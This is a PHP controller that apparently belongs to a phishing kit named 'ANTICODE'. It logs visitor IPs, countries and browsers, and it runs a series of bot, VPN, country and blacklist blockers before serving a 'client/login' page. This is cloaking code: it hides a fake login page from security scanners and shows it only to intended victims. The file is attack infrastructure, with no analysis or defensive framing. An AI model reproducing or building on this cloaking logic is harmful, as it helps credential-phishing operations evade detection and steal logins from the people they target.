<?php
class Ui
{
    public $goANTICODE;
    public function __construct()
    {
        $this->goANTICODE = new goANTICODE();

        if (!isset($_SESSION['access']) and ($_SESSION['access'] != 3)) {

            write(FCPATH . 'ANTICODE/Static/log_robot.txt', 'a', "{$this->goANTICODE->ip_address}\r\n");
            write(FCPATH . 'ANTICODE/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goANTICODE->ip_address}|{$_SESSION['country']}|{$this->goANTICODE->browser}|[B] No param\r\n");
            _blocks();
            redirect(uriRand());
        }

        $this->blockers = new Blockers();
    }

    public function index()
    {
        $this->blockers->bots();
        $this->blockers->vpnDetected();
        $this->blockers->lockedCountry();
        $this->blockers->isRobot();
        $this->blockers->blockers();
        $this->blockers->gandalblocker();
        $this->blockers->antibot();
        $this->blockers->stopbot();
        $this->blockers->blacklist();

        echo view('client/login');
    }
}
